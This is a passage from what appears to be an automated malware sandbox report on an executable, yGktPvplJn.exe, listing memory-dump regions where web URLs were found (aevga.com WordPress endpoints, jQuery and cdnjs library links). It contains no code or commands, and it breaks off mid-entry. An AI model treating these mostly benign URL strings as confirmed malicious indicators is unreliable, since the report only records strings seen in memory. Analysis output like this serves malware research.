yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/comments/feed/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/feed/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/wp-json/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Faevga.com%2F
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Faevga.com%2F&format=xml
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/wp-json/wp/v2/pages/99
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aevga.com/xmlrpc.php?rsd
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.3/themes/smoothness/jquery-ui.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2592835145.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js?ver=1.0.0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/protonet-jquery.inview/1.1.2/jquery.inview.min.js
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 